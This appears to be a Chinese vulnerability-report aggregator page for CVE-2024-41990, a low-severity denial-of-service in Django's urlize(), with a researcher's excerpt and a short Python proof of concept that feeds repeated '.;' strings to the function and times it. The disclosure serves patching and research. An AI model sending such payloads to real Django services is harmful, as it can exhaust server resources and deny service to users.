POJIA破甲
地图 / CVE-2024-41990: Potential denial-of-service in django.utils.html.urlize()

CVE-2024-41990: Potential denial-of-service in django.utils.html.urlize()

拒绝服务 / Allocation of Resources Without Limits or Throttling / #2795558

厂商
Internet Bug Bounty
严重程度
低危
赏金
$2,162
弱点
Allocation of Resources Without Limits or Throttling
研究员
@mprogrammer
披露日期
2024-11-30
资产
https://github.com/django
CVE
CVE-2024-41990

该报告还没有中文解读。

原文摘录

摘自原文(1139 字符中的一小部分)
I reported a slow pattern in urlize using repeated `.;` characters, which would become exponentially slower the larger the string. If a user string from a POST request was read by the function, or stored into the database to be read later by urlize, that's where the biggest problems happened.
原文中的代码
import django.utils.html
from time import time

print('=== django.utils.html.urlize(".;" * n) ===')
for i in range(0,1000000, 40000):
    start = time()
    PAYLOAD = ".;" * i
    django.utils.html.urlize(PAYLOAD)
    print(len(PAYLOAD), "\t", time() - start)

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Internet Bug Bounty 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @mprogrammer · 版权归作者与 Internet Bug Bounty 所有

同类报告

High resource consumption by insufficient sanitization of forum threads paginationFlickr · 2025-11-24 · $479Memory Leak in libcurl via Location Header Handling (CWE-770)curl · 2025-05-22Security check upcurl · 2025-07-24HTTP/3 paused transfer buffers incoming data without bound up to ~1 GiBcurl · 2026-05-19Unbounded memory growth with session handling in TLSv1.3Internet Bug Bounty · 2024-09-22 · $497CVE-2024-56374 Potential denial-of-service in IPv6 validationInternet Bug Bounty · 2025-02-06